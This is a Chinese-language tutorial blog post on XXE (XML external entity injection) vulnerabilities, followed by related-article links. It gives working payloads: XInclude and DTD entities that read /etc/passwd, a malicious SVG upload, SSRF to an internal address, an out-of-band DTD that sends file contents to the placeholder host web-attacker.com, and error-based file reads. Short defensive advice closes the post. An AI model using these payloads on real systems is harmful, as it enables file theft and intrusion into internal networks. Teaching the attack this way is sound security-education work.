XXE外部实体注入漏洞总结
XXE
漏洞原理
XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害。
漏洞危害
1. 读取敏感文件。
2. 执行ssrf漏洞,进行内网端口探测,攻击内网网站等。
漏洞检测
1. XInclude攻击
一些应用程序接收用户的数据,在服务端嵌入到xml文档中解析,这时我们无法控制整个xml文档,所以就无法定义或修改DOCTYPE元素。XInclede是xml规范的一部分,允许从子文档中构建xml文档,从而进行攻击。
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
2. 利用文件上传来进行xxe攻击
docx和svg等都是基于xml格式,如果图像处理库支持SVG图像,攻击者可以提交恶意的SVG图像,就可以利用文件上传执行xxe攻击。
创建具有xml代码的SVG图像
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
将此图像上传上去。就可以在头像中看到/etc/hostname文件的内容。
3. 通过修改请求包的文件内容类型来进行xxe攻击
有些应用程序会允许xml的内容类型,我们就可以修改Content-Type: text/xml字段,来利用xxe漏洞。
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
原来的请求体中的内容是:foo=bar
4. 读取敏感文件
利用file协议读取服务器中的敏感文件。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
5. 执行ssrf攻击
利用http协议,让存在xxe漏洞的应用程序向与它处于同一内网的发送http请求。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:3389"> ]>
6. 带外通道技术来进行盲注xxe
一般情况下,虽然存在xxe漏洞,但是不会回显外部实体注入的值,我们就要利用带外通道技术。(OOB)
攻击者在vps中放置恶意的DTD,让存在漏洞的应用程序去访问。
恶意DTD(外部实体)内容:访问http://web-attacker.com/malicious.dtd可以访问到改DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
向存在漏洞的应用程序中输入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
7. 通过错误消息来读取文件
通过触发xml解析错误,在解析错误信息中返回我们需要读取的敏感信息。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
漏洞防御
1. 使用开发语言提供的禁用外部实体的方法。
2. 过滤用户输入的xml数据中的关键字。
3. 不允许xml中有用户自定义的文档类型。
XXE外部实体注入漏洞总结的更多相关文章
- XXE外部实体注入漏洞
XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...
- XXE外部实体注入漏洞——PHP
前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题. 在XML1.0标准 ...
- 一个用得比较广的微信API的XXE外部实体注入漏洞
文件地址: https://github.com/dodgepudding/wechat-php-sdk/raw/master/wechat.class.php 代码: <?php /** * ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
- XXE--XML外部实体注入漏洞
XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...
- Xml外部实体注入漏洞
Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
随机推荐
- Java CAS 原理详解
1. 背景 在JDK 5之前Java语言是靠 synchronized 关键字保证同步的,这会导致有锁.锁机制存在以下问题: 在多线程竞争下,加锁.释放锁会导致比较多的上下文切换和调度延时,引起性能问 ...
- 解读与部署(三):基于 Kubernetes 的微服务部署即代码
在基于 Kubernetes 的基础设施即代码一文中,我概要地介绍了基于 Kubernetes 的 .NET Core 微服务和 CI/CD 动手实践工作坊使用的基础设施是如何使用代码描述的,以及它的 ...
- 达索CATIA许可证(License)管理使用和优化
现下主流的V6版本CATIA,是由达索公司提供授权的浮动型License,其客户端通过企业内网从许可证服务器获得许可证,最少要有一个服务器端DS License Server提供一定数量的Licens ...
- Servlet-ServletConfig类使用介绍
ServletConfig类(Servlet程序的配置信息类) Servlet 程序和 ServletConfig对象都是由 Tomcat负责创建,我们负责使用. Servlet 程序默认是第一次访问 ...
- java内部类-局部内部类
1 package face_09; 2 /* 3 * 内部类可以存放在局部位置上. 4 * 5 * 内部类在局部位置上只能访问局部中被final修饰的局部变量. 6 */ 7 /*class Out ...
- 集合框架-ArrayList集合存储自定义对象
1 package cn.itcast.p3.arraylist.test; 2 3 import java.util.ArrayList; 4 import java.util.Iterator; ...
- 沁恒CH32F103C8T6(三): PlatformIO DAPLink和WCHLink下载配置
目录 沁恒CH32F103C8T6(一): Keil5环境配置,示例运行和烧录 沁恒CH32F103C8T6(二): Linux PlatformIO环境配置, 示例运行和烧录 沁恒CH32F103C ...
- K8s QoS Pod资源服务质量控制
Kubernetes 中如果一个 Node 节点上的 Pod 占用资源过多并且不断飙升导致 Node 节点资源不足,可能会导致为了保证节点可用,将容器被杀掉.在遇见这种情况时候,我们希望先杀掉那些不太 ...
- python02day
回顾 1.编译型和解释型 编译型:一次性编译成二进制,再执行 执行效率高,但不能跨平台,开发效率低 代表语言:C 解释型:逐行解释成二进制,再执行 可以跨平台,开发效率高,但执行效率低 代表语言:py ...
- Spring系列7:`autowire`自动装配怎么玩
回顾 前几篇我们介绍各种依赖依赖注入,都是显式指定的,配置明确但同时也有些繁杂和重复."很多发明的出发点,都是为了偷懒,懒人是推动社会进步的原动力".Spring 提供了自动注入依 ...